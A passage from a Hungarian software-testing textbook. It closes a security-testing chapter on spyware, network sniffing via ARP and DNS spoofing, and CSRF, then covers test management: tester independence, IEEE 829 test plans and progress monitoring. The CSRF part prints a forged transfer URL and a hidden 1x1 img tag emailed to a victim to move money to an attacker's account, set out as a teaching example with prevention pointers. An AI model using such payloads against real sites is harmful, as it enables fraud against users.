számítógépéről és továbbküldi azt az interneten a felhasználó beleegyezése nélkül. Ezeket az
információkat általában a cookie-kból vagy a böngésző Előzményeiből (history) gyűjti ki. A
kémprogramok akár más programokat is telepíthetnek, reklámokat jeleníthetnek meg vagy

6-16
Szoftver tesztelés

átirányíthatják az internet böngészőt. A kémprogram több dologban különbözik a vírusoktól,


férgektől és reklámprogramoktól (adware). A kémprogram nem többszörözi és terjeszti magát
úgy, mint a vírusok és a férgek és nem feltétlenül jelenít meg reklámokat úgy, mint a
reklámprogramok. A főbb különbségek a kémprogramok, valamint a vírusok, férgek és
reklámprogramok között a következő:
 a fertőzött számítógépet kereskedelmi célokra használja ki
 néhány esetben reklámokat jelenít meg

6.10.2 KOCKÁZATI TÉNYEZŐK


Magas
Néhány kémprogramot nagyon nehéz eltávolítani, mivel megbújhatnak a böngésző cookie-jai
valamint a hálózat nélküli (offline) HTML tartalomban is az Ideiglenes fájlok (Temporary
files) között.

6.11 „Szimatoló támadás – Hálózati Lehallgatás” (Sniffing Attacks - Network


Eavesdropping)

6.11.1 Leírás
A Hálózati Lehallgatás (Network Eavesdropping) vagy más néven hálózati szimatolás
(network sniffing) egy olyan hálózati réteg támadás, ami azt a célt szolgálja, hogy csomagokat
fogjunk el a hálózatban, ami mások számítógépéről származik és az ebben lévő adatokban
olyan kényes információkat találjunk, mint a jelszavak, session tokenek vagy bármilyen nemű
titkos információ.
Ezt a támadást a „hálózati szimatoló”-knak (network sniffer) nevezett eszközökkel lehet
kivitelezni. Ezek az eszközök csomagokat gyűjtenek a hálózaton és az eszköz minőségétől
függően a protokoll dekóderekhez vagy a stream újraillesztőkhöz hasonlóan analizálják a
begyűjtött adatokat.
A hálózat környezetére néhány feltételnek teljesülnie kell, hogy a szimatolás hatékony legyen:
• LAN környezet HUB-okkal (LAN + HUB).
Ez az ideális eset, mivel a HUB egy hálózati ismétlő eszköz, ami duplikál minden, akármelyik
porton keresztül érkezett hálózati keretet, így a támadás nagyon egyszerűen kivitelezhető,
mivel más feltételeknek nem is kell megfelelni.
• LAN környezet kapcsolókkal (LAN + SWITCH)
Hogy a hallgatózás eredményes legyen, egy előzetes feltételnek teljesülnie kell. Mivel a
switch alapesetben csak egy keretet küld a portnak, szükségünk van egy olyan
mechanizmusra, ami duplikálja vagy átirányítja a hálózati csomagokat a rosszindulatú
rendszer részére. Például ahhoz, hogy duplikáljuk a forgalmat egyik portról a másikra, egy
különleges beállításra lesz szükségünk a switch-ben. Hogy átirányítsuk a támadást egyik
portról a másikra, szükségünk lesz egy előzőleges kihasználásra, mint például az arp spoof
támadás. Ebben a támadásban a rosszindulatú rendszer útválasztóként (router) működik az
áldozatok közötti kommunikációban, lehetővé téve azt, hogy „kiszimatoljuk” a felcserélt
csomagokat.
• WAN környezet

6-17
Szoftver tesztelés

Ebben az esetben, a hálózati „szimatolás” sikeréhez arra van szükség, hogy rosszindulatú
rendszer útválasztóként (router) működjön a kliens és a szerver közötti kommunikációban
Ezen hiba kihasználásának egyik módja, ha DNS áltámadást indítunk a kliens rendszer ellen.
A „Hálózati Lehallgatás” egy passzív támadás, amit nagyon nehéz felfedezni. Fölfedezhető a
megelőző állapot hatásából vagy néhány esetben rábírhatjuk a rosszindulatú szervert, hogy
válaszoljon egy olyan hamis kérelemre, amit a rosszindulatú rendszer IP címére küldtünk, de
egy másik rendszer MAC címével.

6.11.2 PÉLDÁK
Amikor a HUB elnevezésű hálózati eszközt használunk egy Helyi Hálózat topológiájában,
akkor a „Hálózati Lehallgatás” kivitelezése sokkal könnyebbé válik, mivel az eszköz
mindenféle, egy porton bejövő adatforgalmat duplikál az összes többi portra. Egy protokoll
elemzőt (protocol analyzer) használva a támadó a LAN egész adatforgalmára ráteheti a kezét
és így kényes információkat szerezhet meg.

6.12 „Átverés – oldalakon keresztüli kérelem hamisítás” (Spoofing - Cross-


Site Request Forgery (CSRF))

6.12.1 Áttekintés
A „CSRF” egy olyan támadás, ami arra kényszeríti a felhasználót, hogy olyan tevékenységet
végezzen egy webes alkalmazásban, amibe éppen be van jelentkezve, amit nem állna
szándékában megtenni. Egy kis „szocializációs mérnökösködéssel” (például hivatkozás
küldése e-mailen vagy chat-en keresztül) a támadó arra kényszeríti a felhasználót, hogy olyan
cselekedeteket hajtson végre, amiket a behatoló szeretne. Egy mezei felhasználó esetében egy
sikeres CSRF támadás veszélybe sodorhatja a felhasználó adatait és tevékenységét. Ha a
támadással megcélzott azonosító egy adminisztrátorhoz tartozik, akkor egy ilyen behatolás az
egész webes alkalmazás biztonságát veszélyezteti.
6.13 Vonatkozó biztonsági intézkedések
6.13.1 Hogyan nézzünk át egy kódot CSRF sebezhetőséget keresve?
A OWASP Code Review Guide cikkben olvashatunk arról, hogy hogyan nézzünk át egy
kódot CSRF sebezhetőség reményében (Reviewing code for CSRF).
6.13.2 Hogyan teszteljük a CSRF sebezhetőséget?
A OWASP Testing Guide cikkben olvashatunk arról, hogy hogyan teszteljük a CSRF
sebezhetőséget (Test for CSRF).
6.13.3 Hogyan előzzük meg a CSRF sebezhetőséget?
A OWASP CSRF Prevention Cheat Sheet dokumentumban olvashatunk a sebezhetőség
megelőzéséről.
Halgassuk meg a következő felvételt: OWASP Top Ten CSRF Podcast.
Egy kiváló írás John Melton tollából arról, hogy hogyan használjuk az OWASP ESAPI
beépített anti-CSRF funkcióját: excellent blog post

6.13.4 Leírás
Az „oldalakon keresztüli kérelem hamisítás” (CSRF) egy olyan támadás, ami trükkös módon
ráveszi az áldozatot, hogy olyan weboldalt nyisson meg, ami káros kérelmet tartalmaz. Ez
olyan értelemben káros, hogy örökli az áldozat személyazonosságát és privilégiumait és
ezekkel felszerelve az áldozat nevében nem kívánt tevékenységet végez, mint például
megváltoztatja az e-mail címet, a lakáscímet, a különféle jelszavakat vagy éppen vásárol
valamit. A CSRF támadások általában olyan funkciókat céloznak, amelyek valamilyen
6-18
Szoftver tesztelés

állapotváltozást idéznek elő a szerveren, de ezzel egy időben kényes információkat is


megszerez.
A legtöbb oldalon a böngészők automatikusan tárolják a legtöbb ilyesfajta kérelmet, ami
bármilyen, a weboldalhoz tartozó igazoló adatot tartalmaz, mint például a felhasználó session
cookie-ját, alapvető bejelentkezési adatait, IP címét, Windows domain adatait, stb. Így ha a
felhasználó éppen be van jelentkezve az oldalra, akkor az oldalnak esélye sincs a hamis
kérelmet megkülönböztetni a a valódi felhasználói kérelemtől.
Ez úton a támadó úgy intézheti, hogy az áldozat olyasmit csináljon, amit nem akart volna,
például kijelentkezhet, vásárolhat valamit, hozzáférési információkat változtathat meg,
hozzáférési információkat szerezhet vissza vagy bármi egyéb, a sérülékeny weboldal által
kínált funkciókat hajthat végre.
Néha lehetőség van arra, hogy a CSRF támadást magán a sérülékeny weboldalon tároljuk. Az
ilyen sebezhetőségeket Tárolt CSRF hibának (Stored CSRF flaw) nevezzük. Ezt egyszerűen el
lehet érni úgy, hogy egy IMG vagy IFRAME tag-et tárolunk egy olyan mezőben, ami
elfogadja a HTML-t, de használhatunk jóval komplexebb kereszt-oldali szkriptelő támadást
is. Ha a támadás képes tárolni egy CSRF támadást az oldalon, akkor a behatolás súlyossága
megnő. Valójában nagyobb annak a valószínűsége, hogy az áldozat a támadást tartalmazó
lapot nézi, mint egy másik, véletlenszerűen kiválasztott lapot az interneten. A valószínűség
azért is nő, mert az áldozat már biztosan be van jelentkezve az oldalra.
Szinonímák: a CSRF támadások sok más néven is ismerik, mint például: XSRF, "Sea Surf",
Session Riding, Cross-Site Reference Forgery vagy Hostile Linking. A Microsoft
„Egykattintásos” támadásként (One-Click attack) hivatkozik erre a a fajta támadásra a
fenyegetlés modellező folyamatában és sok más helyen az online dokumentációkban.
6.13.5 Megelőzési módszerek, amik NEM MŰKÖDNEK
Titkos cookie használata
Emlékezzünk arra, hogy minden cookie – még a titkosak is – elküldésre kerülnek
minden kérelemmel. Minden azonosító token elküldésre kerül attól függetlenül, hogy a
felhasználót csalással vették-e rá a kérelem elküldésére. Sőt, a session azonosítókat
egyszerűen arra használja az alkalmazás tárolója, hogy összekapcsolja kérelmet egy
bizonyos session objektummal. A session azonosító nem ellenőrzi, hogy a
felhasználónak szándékában állt-e elküldeni a kérelmet.

Csak utólagos kérelmeket (POST request) fogadunk el


Az alkalmazásokat úgy is fel lehet építeni, hogy csak utólagos kérelmeket (POST
request) fogadjanak el az üzleti logika alkalmazása végett. A tévhit az, hogy mivel a
támadó nem tud káros hivatkozást összerakni, így a CSRF támadás nem kivitelezhető.
Sajnos ez a logika nem helytálló. Számos olyan módszer van, amivel a támadó trükkös
módon ráveheti az áldozatot, hogy elküldjön egy hamisított utólagos kérelmet, például
egy egyszerű űrlap formájában, ami a behatoló oldalán van tárolva és rejtett értékeket
tartalmaz. Ezt az űrlapot aztán a JavaScript könnyen aktiválhatja, de megteheti ezt az
áldozat is, aki azt hiszi, hogy az űrlap valami mást fog csinálni.

6.13.6 PÉLDÁK
Hogyan működik a támadás?
Számos módja van annak, hogy trükkel rávegyük a felhasználót, hogy töltsön be vagy küldjön
információt egy webes alkalmazásból/ba. A támadás kivitelezése céljából először azt kell

6-19
Szoftver tesztelés

átlátnunk, hogyan hozzunk létre olyan káros kérelmet, amit az áldozat végre fog hajtani.
Vegyük szemügyre a következő példát: Aliz 100 dollárt szeretne utalni Robinak a bank.com
oldalon keresztül. Az Aliz által generált kérelem nagyjából a következőképpen fog kinézni:
POST http://bank.com/transfer.do HTTP/1.1
...
...
...
Content-Length: 19;

acct=BOB&amount=100

Mária azonban észreveszi, hogy ugyanaz a webes alkalmazás, a következő URL


paraméterekkel hajtja végre ugyanazt az átutalást:
GET http://bank.com/transfer.do?acct=BOB&amount=100 HTTP/1.1

Mária úgy dönt, hogy kihasználja a webes alkalmazás eme gyenge pontját és Aliz lesz az
áldozata. Először is Mária megszerkeszti a következő URL-t, ami át fog utalni 100000 dollárt
Aliz számlájáról az övére:
http://bank.com/transfer.do?acct=MARIA&amount=100000

Most hogy a káros kérelme elkészült, Máriának trükkel rá kell vennie Alizt, hogy elküldje azt.
A legalapvetőbb módja ennek az, hogy küld Aliznak egy HTML e-mailt, ami a következőket
tartalmazza:
<a href="http://bank.com/transfer.do?acct=MARIA&amount=100000">View my
Pictures!</a>

Feltéve, hogy Aliz be van jelentkezve az alkalmazásba, mikor rákattint a hivatkozásra, a


100000 dollár átvitele Aliz számlájáról Mária számlájára végbe fog menni. Azonban Mária
azt is tudja, hogy ha Aliz rákattint a hivatkozásra, akkor észre fogja venni, hogy valamiféle
tranzakció történt. Ezért Mária úgy dönt, hogy egy 0 bájtos képbe rejti a támadást:
<img src="http://bank.com/transfer.do?acct=MARIA&amount=100000" width="1"
height="1" border="0">

Ha ezt a kép tag-et beleteszi az email-be, akkor Aliz csak azt fogja látni, hogy egy kis doboz
jelenik meg, mintha a böngésző nem tudta volna feldolgozni a képet. Azonban a böngésző
ETTŐL FÜGGETLENÜL elküldi a kérelmet a bank.com oldalnak anélkül, hogy a
tranzakciónak bármilyen látható jele lett volna.

6-20
Szoftver tesztelés

Tartalomjegyzék
6 Biztonsági tesztelés ................................................................................. ........................ 6-1
6.1.1 Működés ellehetetlenítése – Cache Mérgezés ................................................. 6-2
6.2 Adatszerkezet támadás - Bináris forrás fájl túltöltése.............................................. 6-4
6.2.1 Leírás ............................................ ................................................... .................. 6-4
6.2.2 Példák ............................................ ................................................... ................. 6-4
6.3 Kártékony kód beágyazása – Logikai/Időzített bomba............................................. 6-6
6.3.1 Leírás ............................................ ................................................... .................. 6-6
6.3.2 Kockázati tényezők ................................................................................... ......... 6-6
6.4 Trójai ............................................ ................................................... .......................... 6-6
6.4.1 Leírás ............................................ ................................................... .................. 6-6
6.4.2 A Trójai 7 fő típusa ................................................................................. ........... 6-6
6.4.3 Tünetek........................................... ................................................... ................ 6-7
6.4.4 Kockázati tényezők ................................................................................... ......... 6-7
6.5 Azonosítási folyamat kihasználása – Account kizárási támadás .............................. 6-7
6.5.1 Leírás ............................................ ................................................... .................. 6-7
6.5.2 Például: eBay támadás ................................................................................ ...... 6-8
6.6 Befecskendezés – Közvetlen statikus kód befecskendezése .................................... 6-8
6.6.1 Leírás ............................................ ................................................... .................. 6-8
6.6.2 Példák ............................................ ................................................... ................. 6-8
Példa 1 ........................................... ................................................... ............................... 6-8
Példa 2 ........................................... ................................................... ............................... 6-8
6.7 „Útkeresztezési támadás” (Path Traversal Attack) ................................................. . 6-9
6.7.1 Áttekintés ........................................................................................... ............... 6-9
6.7.2 Leírás ............................................ ................................................... .................. 6-9
Kérelem változatok................................................................................... ........................... 6-9
6.7.3 Példák ............................................ ................................................... ............... 6-10
Példa 1 ........................................... ................................................... ............................. 6-10
Példa 2 ........................................... ................................................... ............................. 6-10
Példa 3 ........................................... ................................................... ............................. 6-11
Példa 4 ........................................... ................................................... ............................. 6-11
6.7.4 „Abszolút útkeresztezés” (Absolute Path Traversal)....................................... 6-11

6-21
Szoftver tesztelés

6.8 „Próbálgatásos technikák – Nyers Erő támadás” (Probabilistic Techniques - Brute


force attack) ................................................. ................................................... .................. 6-12
6.8.1 Leírás ............................................ ................................................... ................ 6-12
6.8.2 Példák ............................................ ................................................... ............... 6-12
Példa 1 ........................................... ................................................... ............................. 6-12
6.8.3 Védelmi eszközök ..................................................................................... ....... 6-14
6.8.4 „Protokol Manipuláció – http Válasz Elosztás” (Protocol Manipulation - Http
Response Splitting) ................................................. ................................................... .... 6-14
6.9 „Erőforrás kimerítés” (Resource Depletion - Asymmetric resource consumption
(amplification)) .................................. ................................................... ............................. 6-15
6.9.1 Leírás ............................................ ................................................... ................ 6-15
6.9.2 PÉLDÁK ............................................ ................................................... ............. 6-15
Példa 1 ........................................... ................................................... ............................. 6-15
Példa 2 ........................................... ................................................... ............................. 6-16
Példa 3 ........................................... ................................................... ............................. 6-16
6.10 „Erőforrás Manipuláció – Kémprogram” (Resource Manipulation – Spyware).. 6-16
6.10.1 Leírás ............................................ ................................................... ................ 6-16
6.10.2 KOCKÁZATI TÉNYEZŐK................................................................................... .. 6-17
6.11 „Szimatoló támadás – Hálózati Lehallgatás” (Sniffing Attacks - Network
Eavesdropping) ................................................. ................................................... .............. 6-17
6.11.1 Leírás ............................................ ................................................... ................ 6-17
6.11.2 PÉLDÁK ............................................ ................................................... ............. 6-18
6.12 „Átverés – oldalakon keresztüli kérelem hamisítás” (Spoofing - Cross-Site Request
Forgery (CSRF)) ................................................. ................................................... .............. 6-18
6.12.1 Áttekintés ........................................................................................... ............. 6-18
6.13 Vonatkozó biztonsági intézkedések .................................................................... 6-18
6.13.1 Hogyan nézzünk át egy kódot CSRF sebezhetőséget keresve?....................... 6-18
6.13.2 Hogyan teszteljük a CSRF sebezhetőséget? .................................................... 6-18
6.13.3 Hogyan előzzük meg a CSRF sebezhetőséget?................................................ 6-18
6.13.4 Leírás ............................................ ................................................... ................ 6-18
6.13.5 Megelőzési módszerek, amik NEM MŰKÖDNEK............................................. 6-19
6.13.6 PÉLDÁK ............................................ ................................................... ............. 6-19
Hogyan működik a támadás? ............................................................................ ............ 6-19

6-22
Szoftver tesztelés

6-23
Szoftver tesztelés

7 Teszt menedzsment
A tesztelési tevékenység a fejlesztési folyamat szerves része. A tesztelés helyét a fejlesztési
folyamatban a V modell szemlélteti.

Ebben a fejezetben áttekintést adunk arról, hogy

• hogyan kell megszervezni és irányítani a tesztelést,


• hogyan illeszthető be a tesztelés a fejlesztési folyamat menedzsmentjébe.

A tesztelésnek a fejlesztési folyamatba illesztése során az alábbi szempontokat kell


figyelembe venni.

A tesztelés helye a fejlesztő csoportban

Megvizsgálandók a következő kérdések:

• A tesztelők függetlensége. A független tesztelői szervezet hasznai és hátrányai.


• A teszteléshez szükséges szerepkörök.
• A tesztmérnök (test designer) és a tesztelő (tester) feladatai.

Teszt tervezés

• A teszt tervezés szintjei.


• A teszt tervezés célja és a teszt specifikáció, teszt terv tartalma az IEEE 829 szabvány
szerint.
• A teszt előkészítés és a teszt végrehajtás lépései.
• A teszt elfogadási kritériumai a tesztelés különböző szintjein.

A tesztfolyamat ellenőrzése és követése

• A teszt tervezés és végrehajtás metrikái.


• A tesztelési tevékenység előrehaladásának dokumentálása az IEEE 829 szabvány
szerint

Konfiguráció menedzsment

• Hogyan támogathatja a konfiguráció menedzsment a tesztelési folyamatot.

Kockázatok és a tesztelés

• A tesztelés a fejlesztési kockázatok csökkentésének egyik eszköze.


• A fejlesztési és a termék kockázat fogalma.

Incidens menedzsment

• Az incidens fogalma.
7-1
Szoftver tesztelés

• Indicens jelentés és annak tartalma.

A továbbiakban a fenti szempontok közül a legfontosabbakat elemezzük.

7.1 A tesztelés szervezeti keretei


A megfelelő tesztelő szervezet felállítása az első lépés egy sikeres tesztfolyamat
elvégzéséhez. Fontos, hogy az adott feladathoz legmegfelelőbb szakembereket válogassuk
bele a tesztcsapatba. A tesztcsapat összeállítása a teszt tárgyát képező projekttől függ.

Mivel a tesztelés a minőségbiztosítás része, azaz egyfajta értékelés, melynek eredménye


nem minden esetben pozitív, ezért fontos lehet egy olyan tesztcsapat összeállítása, amely
képes objektíven értékelni a programozók munkáját.

Először a tesztcsapat függetlenségének mértékét kell meghatároznunk. A függetlenség teljes


hiánya esetén a tesztelők maguk a programozók, akik a teszteket a programozói csapaton
belül végzik el. Következő szint, amikor egy integrált tesztcsapat a programozók mellett
dolgozik, továbbra is a programozó team tagjaként, jelentési kötelezettséggel a fejlesztési
menedzser felé. Az ezt követő szinten a fejlesztési csapattól független tesztcsapat áll, akik
jelentéseiket a projektmenedzsernek írják. A legfelsőbb szint, a teljes függetlenség, ahol a
tesztelési feladatokat végző különálló tesztcsapat, aki ugyanannak a szervezeti szintnek
készíti a jelentéseket, mint a fejlesztési team. A tesztelő csapat függetlenségi szintjeit foglalja
össze az alábbi ábra:

7-1. ábra A tesztelő függetlensége

A különböző területi szakértők (mint például az üzleti szakértők, technológiai szakértők,


tesztautomatizálási szakértők, biztonsági tesztelők, tanúsítványtesztelők) külön független
tesztcsapatokat is alkothatnak a szervezeten belül, vagy egy külön szerződtetett tesztcsapat
csoportjaiként.

7-2
Szoftver tesztelés

Egy független tesztelő több más jellegű hibát vehet észre, mint aki a programozókkal együtt
dolgozik, vagy maga is programozó, mivel más rálátása lehet a projektre, illetve észrevehet
olyan problémákat is, amik a fejlesztő csapat gondolkodásmódjából erednek. Valamint egy
független tesztelő, aki a vezetői menedzsernek írja jelentéseit, őszinte tud maradni, hiszen
nem kell annak negatív következményeivel számolnia, hogy munkatársait bírálja, vagy
menedzsere munkájának hibáira mutat rá. Egy független tesztcsapat rendelkezhet
elkülönített költségvetéssel és vezetéssel, így annak tagjai is nagyobb eséllyel pályázhatnak
majd jobb munkahelyi pozíciókra, hiszen nincsenek a programozók alá vagy mellé rendelve.

A független tesztcsapat hátránya lehet viszont a projekttől vagy annak részeitől való
elszigetelődés. Ha a tesztelő ismeri az adott programozók általános gondolkodásmódját,
nagyobb eséllyel fedezi fel annak hibáit. Rosszabb esetekben előfordulhat az is, hogy a
projektet nem teljesen ismerve túlzott figyelmet szentelnek annak bizonyos részegységei
hibáinak feltárására, így más jellegűeket elhanyagolhatnak. Ez a kommunikációs probléma
ellenszenvhez, elidegenedéshez, vádaskodáshoz vezethet.

A jól integrált csapatok is szembesülhetnek hasonló problémákkal, például a tesztelők joggal


vagy jogtalanul, de gondolhatják, hogy alá vannak rendelve a programozói teamnek, a
projekt többi résztvevője gondolhatja úgy, hogy a tesztelés lassítja a projekt előre menetelét,
és a tesztcsapat miatt késnek a határidőkkel. A programozók feleslegesnek tarthatják kódjaik
ellenőrzését, hiszen úgyis van saját tesztcsapatuk.

Gyakori eset, hogy a vállalatok vágyva a független tesztelés előnyeire csak azért hoznak létre
ilyen csapatokat, hogy hogy hamarosan feloszlassák őket. Oka, lehet, hogy a tesztmenedzser
sikertelen a fenti problémák hatékony kezelésében.

A tesztelés függetlenségének megállapításához tehát nem létezik egyedüli helyes út. Minden
egyes projekthez, a projekt alkalmazási területét, kockázatszintjét, komplexitását figyelembe
véve kell döntenünk. Lehetséges természetesen a projekt előrehaladásával annak különböző
szintjein változtatnunk a tesztcsapat függetlenségén és összetételén. Vannak tesztek, amiket
célszerűbb, a mások végeznek el, más területek szakértői a projekt tárgyától függően.

7.2 A tesztmérnök és a tesztelő feladatai


Láthattuk, hogy tesztcsapat típusaiból és az azokban betöltött feladatkörökből is többféle
van. A két legalapvetőbb a tesztmérnök (tesztvezető) és a tesztelő, ezek a legtöbb tesztelő
szervezetben megtalálhatóak.

A tesztvezető elsődleges feladata a tesztelési feladatok tervezése, azok végrehajtásának


felügyelete és levezetése. Egy projekt indulásakor a tesztvezetők a projekt többi
résztvevőjével együttműködve meghatározzák a tesztelés céljait, szabályait, a tesztelési
stratégiákat és a tesztterveket. A tesztvezető a projekt indulása előtt felbecsüli a tesztelési
folyamathoz szükséges erőforrásokat. Feladata felismerni a tesztautomatizálási
lehetőségeket, és egyeztetni a projekt többi csoportjával, például a fejlesztőkkel, hogy azok
hogyan lehetnek a tesztelési folyamat segítségére. A tesztvégrehajtás közeledtével
7-3
Szoftver tesztelés

biztosítaniuk kell a teszteléshez szükséges környezet meglétét, majd irányítják, időzítik és


felügyelik a tesztfolyamatokat. Az ő feladatuk megírni az összefoglaló jelentéseket az aktuális
tesztállapotokról.

Valószínűleg a teszt végrehajtás megkezdése előtt nem lesz szükség a tesztelők munkájára,
de érdemes őket már a projekt indulásakor alkalmazni. A tesztelés tervezési és előkészítési
időszakában a tesztelőknek meg kell ismerniük a teszttervet, és közre kell működniük annak
esetleges javításában, meg kell ismerniük a követelményeket, és a műszaki tesztterv-
specifikációk elemzését. Gyakran a tesztelők állítják be a tesztkörnyezetet, vagy ők segítik
ebben a rendszeradminisztrátorokat. A tesztek megkezdésével első feladatuk a tesztek
tesztkörnyezetbe való implementálása. A tesztfolyamat során a tesztelők hajtják végre és
naplózzák a teszteket, majd kiértékelik és elemzik azokat.

7.2.1 A tesztelés résztvevői számára szükséges képességek


A tesztcsapat összeállítása során figyelembe kell vennünk, hogy nem elegendő a
tesztkörnyezet megléte, a feladatkörök kiosztása és a létszám meghatározása. Ügyelnünk
kell arra, hogy a megfelelő pozíciókba a megfelelő emberek készségekkel és képesítéssel
rendelkező emberek kerüljenek. Egy tesztelőnél alapvető szakmai és szociális követelmény
például az olvasási készség, jelentések szóban és írásban történő elkészítésének készsége,
illetve a hatékony kommunikációs képesség. Ezen felül a projekt jellegének és céljának
megfelelően a következő három szempont szerint kell megvizsgálnunk, milyen
követelményeknek kell megfelelniük a tesztcsapat tagjainak:

Alkalmazási és üzleti terület

Fontos, hogy a tesztelő megértse az adott szoftver működésének lényegét, így felismerje az
azzal szemben támasztott elvárásokat, így megtalálja a kiemelt fontosságú, kritikus pontokat.

Technológia

A tesztelőnek ismernie kell a választott implementációs technológia képességeit és korlátait,


hogy képes legyen beazonosítani a felmerülő problémák eredetét.

Tesztelés

A tesztelőnek ismernie kell a tesztelési folyamatok elméletét, hogy eredményesen és


határozottan tudja végezni munkáját.

A különböző területeken szükséges szakértelem szintje és annak szükségessége a


szervezettől, az alkalmazásoktól és a kockázattól függően eltérhet. Tipikus hiba a fejlesztési
folyamatok szervezésében, hogy a projekt menedzsment hajlamos alábecsülni a tesztelési
szaktudás szükségességét.

7-4
Szoftver tesztelés

7.3 Teszt tervek, becslések és stratégiák


A teszt terv az elvégzendő tesztelési munka projektterve, nem pedig műszaki teszt terv
specifikáció vagy tesztesetek gyűjteménye. A teszt terv a teszt menete folyamán változik,
megjegyzésekkel bővülhet, így válik lassan a projektcsapat megbeszéléseit, egyeztetéseit
rögzítő naplóvá.

A teszt tervek különböző szintjeit és a tervek elkészítését befolyásoló tényezőket foglalja


össze az alábbi ábra:

7-2. ábra Teszt tervek

Ha teszt tervet készítünk, érdemes sablont használnunk, így nehezebben felejtünk ki kritikus
pontokat. Használható az IEEE 829-es sablon. Ezen sablon alapján egy teszttervnek a
következőket kell tartalmaznia:

1. Tesztterv azonosító
2. Bevezető
3. Tesztegységek
A tesztelés tárgyának a meghatározása. Tartalmazhat hivatkozásokat más
dokumentációkra, például rendszer tervekre.
4. Tesztelendő funkciók
A tesztelés céljának meghatározása (funkciók, nem funkcionális követelmények).
5. Nem tesztelendő funkciók
Olyan követelmények, amelyeket nem szükséges, vagy nem lehetséges tesztelni.
6. Szemléletmód

7-5
Szoftver tesztelés

A tesztelés módszerének leírása. Hivatkozhat más dokumentumra, például a


tesztelési stratégia leírására.
7. Elem helységének / hibájának feltétele
Annak a feltételnek a specifikációja, aminek alapján eldönthető, hogy egy rendszer
elem megfelel-e a teszt kritériumoknak.
8. Felfüggesztési / újrakezdési feltételek
A teszt felfüggesztésének és újrakezdésének kritériumai.
9. Átadandó tesztkimenetek
Azok a dokumentumok, amelyek a tesztelési tevékenység eredményeit tartalmazzák.
Például:
• teszt tervek,
• teszt specifikációk az egyes tesztelési szintekhez,
• teszt futtasások jegyzőkönyvei.
10. Tesztfeladatok
A tesz tervezéshez és végrehajtáshoz szükséges tevékenységek összefoglalása.
11. Környezeti igények
A tesztek végrehajtásához szükséges hardver és szoftver környezet specifikációja.
12. Felelősségek
A tesztelési tevékenységhez szükséges szerepkörök és azok feladatainak leírása.
13. Személyzeti és képzési igények
A tesztelési tevékenységhez szükséges szakemberek és azok szükséges
szakértelmének meghatározása
14. Ütemterv
A tesztelési tevékenység ütemterve, a meghatározott határidőkre végrehajtandó
tevékenységek és elkészítendő dokumentumok meghatározása.
15. Kockázatok és előre nem látható események
Az előre megbecsülhető kockázatok és azok elkerülésének / minimalizálásának terve
16. Jóváhagyások
Annak meghatározása, hogy ki jogosult a dokumentumok elfogadására.

A tesztterv írásának célja, hogy végiggondoljuk a teszt menetét, hisz amit végiggondolva
képesek vagyunk szóba foglalni, azt értjük is. Egy jó tesztterv rövid és lényegre törő, így
megírása nem egyszerű feladat. Magas szinten át kell gondolnunk a tesztelési munka célját.
Ehhez meg kell határoznunk, hogy mi tartozik az adott teszthez, és mi nem, meg kell
értenünk a termékkockázatokat és ismernünk kell a teszttelés lehetséges korlátait (például
anyagi vagy időkorlát). Ezek után fel kell osztanunk a feladatokat, a tesztelés különböző
szintjeire. Ezután egyeztetnünk kell a szintek közti átmeneteket, majd meghatároznunk, hogy
mely információkat kell átadnunk a teszt végén a karbantartó csapatnak. Ehhez meg kell
határoznunk, hogy milyen állítások lennének igazak egy olyan projektre, amin sikeresen
elvégezték a tesztelést, azaz specifikálnunk kell minden teszt esetén annak belépési és
kilépési feltételeit.

7-6
Szoftver tesztelés

7.4 A tesztfolyamat ellenőrzése és követése


A teszt terv meghatározza, hogy milyen tevékenységeket kell végrehajtani. A tesztelési
folyamat során folyamatosan nyilván kell tartani, hogy az előírt feladatok közül mit, és
milyen eredménnyel hajtottunk végre az adott időpontig. A teszt monitorig célja a tesztelési
tevékenység előrehaladásának a követése.

A tesztelés előrehaladását jelző adatok összegyűjtése történhet manuálisan, nyilvántartva


azokat egy papírlapon, vagy egy Excel táblában, de hatékonyabb a teszt automatizálási
eszközök használata. A teszt folyamat előrehaladását mérőszámokkal jellemezhetjük.
Alkalmazható mérőszámok:

• A használati esetek hány százalékára készült teszt terv.


• A megtervezett tesztesetek hány százaléka lett végrehajtva, ebből mennyi a hiba
nélküli.
• Kód lefedettségi mérőszámok.
• A tesztelési határidőkre az adott határidőre tervezett tevékenységek hány százaléka
lett végrehajtva.

Ahhoz, hogy a projekt menedzsment áttekinthesse a munka előrehaladását, gyakran


alkalmazunk grafikonokat a fenti mérőszámok szemléltetésére.

7.4.1 Teszt jegyzőkönyvek


A tesztelési tevékenység előrehaladásáról a teszt vezető a tesztelők által készített
jelentésekből tájékozódhat. Ezek a jelentések tartalmazhatják az alábbiakat:

• Milyen tevékenységeket hajtottak végre az adott időszakban.


• A végrehajtott tevékenységeket jellemző metrikák, amelyekkel megbecsülhető, hogy
mennyi hiba maradt még a rendszerben, illetve mennyi erőforrást igényelhet a
maradék hibák felderítése.

Az IEE 829 szabvány a teszt előrehaladási jegyzőkönyvre az alábbi tartalomjegyzéket


javasolja:

1. Teszt jegyzőkönyv azonosító


2. Összefoglalás
3. Általános értékelés
4. Eredmények összegzése
5. Előrehaladás
6. A tevékenységek összefoglalása

7.4.2 Teszt folyamat ellenőrzése


A fenti információk értékelésével a tesztmérnök képes követni a tesztelési tevékenység
előrehaladását, és összevetheti azt a teszt tervben előírt határidőkkel. Az így nyert
információk birtokában, ha szükségesnek látja, módosíthatja a tesztelési tervben foglaltakat.

7-7
Szoftver tesztelés

Lehetséges tevékenységei:

• Átértékeli a tesztek prioritásait, ha úgy látja, hogy előre nem látható kockázatok
léptek fel.
• Megváltoztatja a teszt ütemtervet.
• Megváltoztatja a teszt kritériumokat,a megváltozott prioritásokhoz igazítva.
• Átértékeli a termék kockázatokat, és ennek megfelelően módosítja a tesztelési tervet.

A tesztelés előrehaladásának értékelése során a teszt vezető olyan problémákat is


felderíthet, amelyeknek megoldása meghaladja a hatáskörét. Ilyen esetekben a projekt
menedzserrel kell egyeztetnie, és például az alábbiakat tanácsolhatja:

• Egyes kevésbé fontos funkciókat ki kell venni a követelmény listából, hogy a határidőt
tartani lehessen.
• Módosítani kell az átadási határidőt, hogy a még szükséges tesztelési
tevékenységeket végre lehessen hajtani.
• Át lehet adni a rendszert, de a felhasználóval tudatni kell, hogy bizonyos funkciók
még nem lettek alaposan tesztelve. Ilyenkor az üzemszerű használat mellett
folytatódhat a tesztelés. Ez abban az esetben lehet alternatíva, ha a gyengén tesztelt
funkciók a gyakorlatban ritkán fordulnak elő.

7.5 Incidens menedzsment


Az incidens a rendszer nem tervezett, váratlan viselkedése, amely további vizsgálatokat
